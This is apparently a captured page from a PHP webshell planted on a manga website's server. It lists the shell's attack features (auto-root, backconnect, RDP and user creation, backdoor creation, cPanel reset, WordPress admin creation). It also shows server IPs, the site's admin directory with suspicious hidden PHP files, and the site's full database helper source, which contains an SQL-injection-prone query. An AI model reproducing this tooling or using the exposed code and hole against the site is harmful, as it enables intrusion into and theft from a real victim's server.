Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.50
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangaberri /
public_html /
mangabo /
[ HOME SHELL ]
Name
Size
Permission
Action
js
[ DIR ]
drwxrwxrwx
uploads
[ DIR ]
drwxrwxrwx
.mangabo.php
3.61
KB
-rw-r--r--
02.jpg
35.82
KB
-rwxrwxrwx
03.jpg
378.77
KB
-rwxrwxrwx
04-05.jpg
696.59
KB
-rwxrwxrwx
06-07.jpg
685.45
KB
-rwxrwxrwx
08.jpg
421.87
KB
-rwxrwxrwx
09.jpg
410.44
KB
-rwxrwxrwx
10.jpg
330.76
KB
-rwxrwxrwx
AgentForm.html
11.52
KB
-rwxrwxrwx
AgentPanel.html
17.48
KB
-rwxrwxrwx
AgentReport.html
24.23
KB
-rwxrwxrwx
actions.php
8.96
KB
-rwxrwxrwx
add_article.php
18.23
KB
-rwxrwxrwx
add_chapter_section.php
16.65
KB
-rwxrwxrwx
add_new_manga.php
20.77
KB
-rwxrwxrwx
articles.php
18.06
KB
-rwxrwxrwx
bootstrap.min.css
141.49
KB
-rwxrwxrwx
bootstrap.min.js
47.8
KB
-rwxrwxrwx
change-password.php
8.51
KB
-rwxrwxrwx
comment.php
21.18
KB
-rwxrwxrwx
dashboard.php
21.05
KB
-rwxrwxrwx
datasource.php
1.49
KB
-rwxrwxrwx
dbhelper.php
35.6
KB
-rwxrwxrwx
edit_article.php
19.52
KB
-rwxrwxrwx
edit_chapter_section.php
35.2
KB
-rwxrwxrwx
edit_chapter_section_org.php
16.57
KB
-rwxrwxrwx
edit_chapter_section_org1.php
35.18
KB
-rwxrwxrwx
edit_manga.php
23.45
KB
-rwxrwxrwx
error.php
0
B
-rwxrwxrwx
favicon.ico
67.58
KB
-rwxrwxrwx
footer.php
1.21
KB
-rwxrwxrwx
generate_sitemap.php
13.18
KB
-rwxrwxrwx
genre.php
23.01
KB
-rwxrwxrwx
header.php
8.31
KB
-rwxrwxrwx
home.php
45.57
KB
-rwxrwxrwx
index.php
258
B
-rwxrwxrwx
insert-image.png
12.36
KB
-rwxrwxrwx
jquery-slim.min.js
67.97
KB
-rwxrwxrwx
loading-dark.gif
17.85
KB
-rwxrwxrwx
log.txt
415
B
-rwxrwxrwx
login.php
0
B
-rwxrwxrwx
logo_dark.7c81824.png
70.25
KB
-rwxrwxrwx
logo_light.d9991b5.png
70.25
KB
-rwxrwxrwx
logo_white.f5e6e19.png
70.25
KB
-rwxrwxrwx
logout.php
185
B
-rwxrwxrwx
main.js
56
B
-rwxrwxrwx
manga_requests.php
11.38
KB
-rwxrwxrwx
page_section.php
15.59
KB
-rwxrwxrwx
phpinfo.php
18
B
-rwxrwxrwx
popper.min.js
18.74
KB
-rwxrwxrwx
q.php
4
B
-rw-r--r--
rome.css
1.76
KB
-rwxrwxrwx
rome.js
433.52
KB
-rwxrwxrwx
script.php
1.41
KB
-rwxrwxrwx
signin.php
6.97
KB
-rwxrwxrwx
signup.php
7.23
KB
-rwxrwxrwx
sitemap.xml
753.77
KB
-rwxrwxrwx
sitemap1.xml
13.43
KB
-rwxrwxrwx
starter-template.css
109
B
-rwxrwxrwx
statistics.php
18.06
KB
-rwxrwxrwx
style_css.php
97.59
KB
-rwxrwxrwx
styles.css
660.94
KB
-rwxrwxrwx
thumbnail(19).webp
40.43
KB
-rwxrwxrwx
transfer_image.php
1.91
KB
-rwxrwxrwx
upload.php
1.26
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dbhelper.php
<?php date_default_timezone_set("Asia/Kuching"); class DBHelper { private $db; function __construct() { require_once(__DIR__ . "/datasource.php"); $this->db = new DataSource(); } public function log($message) { $myfile = fopen("./log.txt", "a") or die("Unable to open file!"); $txt = $message . "\n"; fwrite($myfile, $txt); fclose($myfile); } public function write_sitemap($url, $priority) { $myfile = fopen("./sitemap.xml", "a") or die("Unable to open file!"); $txt = "<url>" . "\n"; $txt .= "<loc>" . $url . "</loc>" . "\n"; $txt .= "<lastmod>". date("Y-m-d\TH:i:sP", time()) ."</lastmod>". "\n"; $txt .= "<priority>" . $priority . "</priority>" . "\n"; $txt .= "</url>" . "\n\n"; fwrite($myfile, $txt); fclose($myfile); } public function write_sitemap1($url, $priority) { $myfile = fopen("./sitemap1.xml", "a") or die("Unable to open file!"); $txt = "<url>" . "\n"; $txt .= "<loc>" . $url . "</loc>" . "\n"; $txt .= "<lastmod>". date("Y-m-d\TH:i:sP", time()) ."</lastmod>". "\n"; $txt .= "<priority>" . $priority . "</priority>" . "\n"; $txt .= "</url>" . "\n\n"; fwrite($myfile, $txt); fclose($myfile); } function getUserById($user_id) { $result = $this->db->select("SELECT * FROM users WHERE id=:id", ['id' => $user_id]); return $result; } function getUsersCount() { $result = $this->db->select("SELECT * FROM users"); return sizeof($result); } function getClientIP() { $clientIP = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER["HTTP_CF_CONNECTING_IP"] # when behind cloudflare ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; return $clientIP; } public function processLogin($username, $password) { $query = "select * FROM users WHERE username = :username AND active=1"; $params = ['username' => $username]; $user = $this->db->select($query, $params); if (!empty($user)) { if (!isset($_SESSION)) { session_start(); } if ($user && password_verify($password, $user[0]['password'])) { $_SESSION["userId"] = $user[0]["id"]; $_SESSION["username"] = $user[0]["username"]; $_SESSION["role"] = $user[0]["role"]; return true; } else { $_SESSION["errorMessage"] = 'Invalid User'; return false; } } else { $_SESSION["errorMessage"] = 'Not Active User'; return false; } } public function addUserActionLog($user_id, $action, $ref_table, $ref_id) { $query = "INSERT INTO user_action_logs (user_id, action, ip, ref_table, ref_id, created) VALUE (:user_id, :action, :ip, :ref_table, :ref_id, :created)"; $params = [ 'user_id' => $user_id, 'action' => $action, 'ip' => $this->getClientIP(), 'ref_table' => $ref_table, 'ref_id' => $ref_id, 'created' => date("Y-m-d H:i:s") ]; $this->db->execute($query, $params); } public function signUp($username, $password) { $passwordHash = password_hash($password, PASSWORD_DEFAULT); $query = "INSERT INTO users (username, password, role, created, modified) VALUE (:username, :password, :role, :created, :modified)"; $params = ['username' => $username, 'password' => $passwordHash, 'role' => 'Super Admin', 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s")]; $user = $this->db->execute($query, $params); if (!empty($user)) { return true; } else { return false; } } public function createManga($title, $author, $description, $genres, $attachment) { $path = ''; $ext = ''; if (!empty($attachment)) { $this->log('Have Attachment'); $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'main-' . uniqid() . uniqid() . '.' . $ext; // $image_root = '/home/u317079482/domains/mangaberri.com/public_html'; $image_root = '/var/www/html/mangaberri/public_html'; $folder_name = 'mangas'; $path = $image_root. '/' . $folder_name . '/' . $filename; $upload_dir = $image_root. '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "INSERT INTO mangas (title, author, description, display_image, genres, created, modified) VALUES (:title, :author, :description, :display_image, :genres, :created, :modified)"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangaberri.com/' . $folder_name . '/' . $filename, 'genres' => $genres, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $this->log('No Attachement'); $query = "INSERT INTO mangas (title, author, description, display_image, genres, created, modified) VALUES (:title, :author, :description, :display_image, :genres, :created, :modified)"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => null, 'genres' => $genres, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; $this->log(json_encode($params)); try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } public function updateManga($manga_id, $title, $author, $description, $genres, $rating, $attachment, $status, $released_date) { $path = ''; $ext = ''; if (!empty($attachment['name'])) { $this->log('Have Attachment'); $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'main-' . uniqid() . uniqid() . '.' . $ext; // $image_root = '/home/u317079482/domains/mangaberri.com/public_html'; $image_root = '/var/www/html/mangaberri/public_html'; $folder_name = 'mangas'; $path = $image_root. '/' . $folder_name . '/' . $filename; $upload_dir = $image_root. '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "UPDATE mangas SET title=:title, author=:author, description=:description, display_image=:display_image, genres=:genres, rating=:rating, status=:status, released_date=:released_date, modified=:modified where id = :id"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangaberri.com/' . $folder_name . '/' . $filename, 'genres' => $genres, 'rating' => $rating, 'status' => $status, 'released_date' => $released_date, 'modified' => date("Y-m-d H:i:s"), 'id' => $manga_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $query = "UPDATE mangas SET title=:title, author=:author, description=:description, genres=:genres, rating=:rating, status=:status, released_date=:released_date, modified=:modified where id = :id"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'genres' => $genres, 'rating' => $rating, 'status' => $status, 'released_date' => $released_date, 'modified' => date("Y-m-d H:i:s"), 'id' => $manga_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } function uploadTomangaberri($transfer_type, $files) { $url = 'https://mangaberri.com/mangabo/transfer_image.php?rnd=' . time(); $curl = curl_init(); $params = (object)array(); $params->transfer_type = $transfer_type; $this->db->log('Attachment TMP : ' . $files['tmp_name']); if (function_exists('curl_file_create')) { $params->attachment = curl_file_create($files['tmp_name'], $files['type'], $files['name']); } else { $params->attachment = '@' . $files['tmp_name']; } curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $params )); $this->db->log('Params : ' . json_encode($params)); $response = curl_exec($curl); $this->db->log('Reponse : ' . json_encode($response)); curl_close($curl); return $response; } function getAllMangas() { $query = "SELECT m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter FROM `mangas` as m"; return $this->db->select($query); } function getManga($id) { $query = "select * FROM mangas where id = :id"; $params = ['id'=> $id]; return $this->db->select($query, $params); } function getMangaChapters($id) { $query = "select * FROM chapters where manga_id = :id order by created desc"; $params = ['id'=> $id]; return $this->db->select($query, $params); } function addMangaChapter($manga_id, $chapter_name, $attachments) { $query = "INSERT INTO chapters (manga_id, name, created, modified) VALUES (:manga_id, :name, :created, :modified)"; $params = [ 'manga_id' => $manga_id, 'name' => $chapter_name, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $chapter_id = $this->db->executeReturnID($query, $params); $total = count($attachments['name']); for( $i=0 ; $i < $total ; $i++ ) { $tmpFilePath = $attachments['tmp_name'][$i]; $filename = $attachments['name'][$i]; $this->addMangaChapterImage($manga_id, $chapter_id, $filename, $tmpFilePath); } return true; } catch (Exception $e) { $this->db->log($e); } } function updateMangaImages($chapter_id, $chapter_name, $attachments) { $query = "UPDATE chapters SET name=:name, modified=:modified where id=:id"; $params = [ 'id' => $chapter_id, 'name' => $chapter_name, 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); $total = count($attachments['name']); for( $i=0 ; $i < $total ; $i++ ) { $tmpFilePath = $attachments['tmp_name'][$i]; $filename = $attachments['name'][$i]; $this->addMangaChapterImage($result[0]['manga_id'], $chapter_id, $filename, $tmpFilePath); } return true; } catch (Exception $e) { $this->db->log($e); return false; } } function addMangaChapterImage($manga_id, $chapter_id, $filename, $tempname) { $ext = pathinfo($filename, PATHINFO_EXTENSION); //$filename = 'chap-' . uniqid() . uniqid() . '.' . $ext; //$image_root = '/home/u317079482/domains/mangaberri.com/public_html'; $image_root = '/var/www/html/mangaberri/public_html'; $folder_name = 'mangas/' . $manga_id . '/' . $chapter_id; $path = $image_root. '/' . $folder_name . '/' . $filename; $upload_dir = $image_root. '/' . $folder_name . '/'; if (!file_exists($upload_dir)) { mkdir($upload_dir, 0777, true); } if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $query = "INSERT INTO chapter_images (chapter_id, path, filename, created, modified) VALUES (:chapter_id, :path, :filename, :created, :modified)"; $params = [ 'chapter_id' => $chapter_id, 'path' => 'https://mangaberri.com/' . $folder_name . '/' . $filename, 'filename' => $filename, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } } function getChapterInfo($id) { $query = "select * FROM chapters where id = :id"; $params = ['id'=> $id]; return $this->db->select($query, $params); } function getMangaChapterImages($id) { $query = "select * FROM chapter_images where chapter_id = :id"; $params = ['id'=> $id]; return $this->db->select($query, $params); } function deleteChapterImage($id) { $query = "DELETE FROM chapter_images where id = :id"; $params = ['id'=> $id]; return $this->db->execute($query, $params); } function deleteChapter($id) { $query = "DELETE FROM chapters where id = :id"; $params = ['id'=> $id]; return $this->db->execute($query, $params); } function deleteManga($id) { $query = "DELETE FROM mangas where id = :id"; $params = ['id'=> $id]; return $this->db->execute($query, $params); } function getGenres() { $query = "select * FROM genres order by name"; return $this->db->select($query); } function addGenre($name) { $query = "INSERT INTO genres (name, created, modified) VALUES (:name, :created, :modified)"; $params = [ 'name' => $name, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } function deleteGenre($id) { $query = "DELETE FROM genres where id = :id"; $params = ['id'=> $id]; return $this->db->execute($query, $params); } function getMangaRequests() { $query = "select * FROM request_inboxs order by created desc"; return $this->db->select($query); } function generateSiteMangaSiteMap() { $myfile = fopen("./sitemap.xml", "w") or die("Unable to open file!"); $txt = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> <url> <loc>https://www.mangaberri.com/</loc> <lastmod>'. date("Y-m-d\TH:i:sP", time()) .'</lastmod> <priority>1.00</priority> </url> <url> <loc>https://www.mangaberri.com/index</loc> <lastmod>'. date("Y-m-d\TH:i:sP", time()) .'</lastmod> <priority>0.80</priority> </url>'; fwrite($myfile, $txt); fclose($myfile); $mangas = $this->getAllMangas(); foreach($mangas as $m) { $this->write_sitemap('https://mangaberri.com/' . preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($m['title']))), '0.80'); } $query = "SELECT c.id as chapter_id, m.title as manga_title FROM `chapters` as c join mangas as m on (m.id = c.manga_id)"; $chapters = $this->db->select($query); foreach($chapters as $c) { $this->write_sitemap('https://mangaberri.com/' . preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($c['manga_title']))) . '/' . $c['chapter_id'], '0.64'); } $genres = $this->getGenres(); foreach($genres as $g) { $this->write_sitemap('https://mangaberri.com/genres.php?genre='. $g['name'], '0.51'); } $myfile = fopen("./sitemap.xml", "a") or die("Unable to open file!"); $txt = '</urlset>'; fwrite($myfile, $txt); fclose($myfile); return true; } function generateSiteMangaSiteMap1() { $myfile = fopen("./sitemap1.xml", "w") or die("Unable to open file!"); $txt = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> <url> <loc>https://jujutsukaisen1.com/</loc> <lastmod>'. date("Y-m-d\TH:i:sP", time()) .'</lastmod> <priority>1.00</priority> </url> <url> <loc>https://jujutsukaisen1.com/index</loc> <lastmod>'. date("Y-m-d\TH:i:sP", time()) .'</lastmod> <priority>0.80</priority> </url>'; fwrite($myfile, $txt); fclose($myfile); $query = "SELECT c.id as chapter_id, m.title as manga_title FROM `chapters` as c join mangas as m on (m.id = c.manga_id) where m.id = 22"; $chapters = $this->db->select($query); foreach($chapters as $c) { $this->write_sitemap1('https://jujutsukaisen1.com/' . preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($c['manga_title']))) . '/' . $c['chapter_id'], '0.64'); } $myfile = fopen("./sitemap1.xml", "a") or die("Unable to open file!"); $txt = '</urlset>'; fwrite($myfile, $txt); fclose($myfile); return true; } function getDailyStatistics() { //$query = "select count(id) as view, date(created) as date from chapter_views WHERE created >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY) group by date(created) order by date(created) desc"; $query = "select count(id) as view, date(created) as date from chapter_views group by date(created) order by date(created) desc"; return $this->db->select($query); } function getTotalViews() { $query = "select count(id) as view from chapter_views"; return $this->db->select($query); } function getMangaViewStatistics() { //$query = "select k.* from (select count(cv.id) as views, m.title from chapter_views as cv join mangas as m on (m.id = cv.manga_id) group by m.id) as k order by k.views desc;"; $query = "SELECT COUNT(cv.id) AS views, m.title FROM chapter_views AS cv JOIN mangas AS m ON m.id = cv.manga_id GROUP BY m.id, m.title ORDER BY views DESC;"; return $this->db->select($query); } function getIpViewStatistics() { $query = "select count(cv.id) as views, cv.ip from chapter_views as cv group by cv.ip order by count(cv.id) desc"; return $this->db->select($query); } function getUniqueIpCount() { $query = "SELECT COUNT(DISTINCT ip) AS unique_visitors FROM chapter_views"; return $this->db->select($query); } function getSourceViewStatistics() { $query = "select * from (select source, count(id) as views from chapter_views group by source) as k order by k.views desc"; return $this->db->select($query); } function getLatestChapterViewStatistics() { $query = "select m.title, c.name, cv.ip, cv.created, cv.source from chapter_views as cv join mangas as m on (m.id = cv.manga_id) join chapters as c on (cv.chapter_id = c.id) order by cv.id desc limit 200"; return $this->db->select($query); } public function resetOwnPassword($id, $oldpassword, $newpassword) { $u = $this->db->select("SELECT * FROM users WHERE id=:id", ['id' => $id]); if ($u && password_verify($oldpassword, $u[0]['password'])) { $passwordHash = password_hash($newpassword, PASSWORD_DEFAULT); $query = "Update users set password = :password, modified=:modified where id =:id"; $params = ['password' => $passwordHash, 'id' => $id, 'modified' => date("Y-m-d H:i:s")]; $user = $this->db->execute($query, $params); if (!empty($user)) { return ['success' => true, 'message' => 'Password updated.']; } else { return ['success' => false, 'message' => 'Failed to update.']; } } else { return ['success' => false, 'message' => 'Invalid old password']; } } function getArticles($category) { if(empty($category)) { $query = "select * FROM articles order by created desc"; return $this->db->select($query); } else { $query = "select * FROM articles where category = '". $category ."' order by created desc"; return $this->db->select($query); } } public function addArticle($page_h1_title, $title, $author, $description, $main_tag, $tag, $category, $article_content, $attachment) { $path = ''; $ext = ''; if (!empty($attachment)) { $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'article-' . uniqid() . uniqid() . '.' . $ext; //$image_root = '/home/u317079482/domains/mangaberri.com/public_html'; $image_root = '/var/www/html/mangaberri/public_html'; $folder_name = 'articles'; $path = $image_root. '/' . $folder_name . '/' . $filename; $upload_dir = $image_root. '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "INSERT INTO articles (page_h1_title, title, author, description, display_image, main_tag, tag, category, article_content, created, modified) VALUES (:page_h1_title, :title, :author, :description, :display_image, :main_tag, :tag, :category, :article_content, :created, :modified)"; $params = [ 'page_h1_title' => $page_h1_title, 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangaberri.com/' . $folder_name . '/' . $filename, 'main_tag' => $main_tag, 'tag' => $tag, 'category' => $category, 'article_content' => $article_content, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $query = "INSERT INTO mangas (page_h1_title, title, author, description, display_image, main_tag, tag, category, article_content, created, modified) VALUES (:page_h1_title, :title, :author, :description, :display_image,:main_tag, :tag, :category, :article_content, :created, :modified)"; $params = [ 'page_h1_title' => $page_h1_title, 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => null, 'main_tag' => $main_tag, 'tag' => $tag, 'category' => $category, 'article_content' => $article_content, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; $this->log(json_encode($params)); try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } public function getArticle($article_id) { $query = "select * FROM articles where id = :id"; $params = ['id'=> $article_id]; return $this->db->select($query, $params); } public function publishArticle($article_id) { $query = "UPDATE articles SET publish=!publish, modified=:modified where id = :id"; $params = [ 'id' => $article_id, 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } public function updateArticle($article_id, $page_h1_title, $title, $author, $description,$main_tag, $tag, $category, $article_content, $attachment) { $path = ''; $ext = ''; if (!empty($attachment['name'])) { $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'main-' . uniqid() . uniqid() . '.' . $ext; // $image_root = '/home/u317079482/domains/mangaberri.com/public_html'; $image_root = '/var/www/html/mangaberri/public_html'; $folder_name = 'articles'; $path = $image_root. '/' . $folder_name . '/' . $filename; $upload_dir = $image_root. '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "UPDATE articles SET page_h1_title=:page_h1_title, title=:title, author=:author, description=:description, display_image=:display_image, main_tag=:main_tag, tag=:tag, category=:category, article_content=:article_content, modified=:modified where id = :id"; $params = [ 'page_h1_title' => $page_h1_title, 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangaberri.com/' . $folder_name . '/' . $filename, 'main_tag' => $main_tag, 'tag' => $tag, 'category' => $category, 'article_content' => $article_content, 'modified' => date("Y-m-d H:i:s"), 'id' => $article_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $query = "UPDATE articles SET page_h1_title=:page_h1_title, title=:title, author=:author, description=:description, main_tag=:main_tag, tag=:tag, category=:category, article_content=:article_content, modified=:modified where id = :id"; $params = [ 'page_h1_title' => $page_h1_title, 'title' => $title, 'author' => $author, 'description' => $description, 'main_tag' => $main_tag, 'tag' => $tag, 'category' => $category, 'article_content' => $article_content, 'modified' => date("Y-m-d H:i:s"), 'id' => $article_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } public function setMangaActive($id) { $query = "Update mangas set active = !active, modified=:modified where id =:id"; $params = ['id' => $id, 'modified' => date("Y-m-d H:i:s")]; $apw = $this->db->execute($query, $params); if (!empty($apw)) { return true; } else { return false; } } function getAllMangasWithComments() { $query = 'SELECT m.id, m.title, COUNT(c.id) AS comment_count, MAX(c.created) AS latest_comment_time FROM comments AS c JOIN mangas AS m ON m.id = c.manga_id GROUP BY m.id, m.title ORDER BY latest_comment_time DESC;'; return $this->db->select($query); } public function getComments($manga_id) { $query = "select * FROM comments where manga_id = :manga_id and parent_id is null order by created desc"; $params = ['manga_id'=> $manga_id]; return $this->db->select($query, $params); } public function getAdminComments($parent_id) { $query = "select * FROM comments where parent_id = :parent_id"; $params = ['parent_id'=> $parent_id]; return $this->db->select($query, $params); } function addAdminComment($manga_id, $comment_id, $comment) { $query = "INSERT INTO comments (manga_id, parent_id, comment, name, ip, created, modified) VALUES (:manga_id, :parent_id, :comment, :name, :ip, :created, :modified)"; $params = [ 'manga_id' => $manga_id, 'parent_id' => $comment_id, 'comment' => $comment, 'ip' => $this->getClientIP(), 'name' => uniqid(), 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { return $this->db->select($query, $params); } catch (Exception $e) { $this->db->log($e); } } function deleteComment($id) { $query = "DELETE FROM comments where id = :id"; $params = ['id'=> $id]; return $this->db->execute($query, $params); } }
Close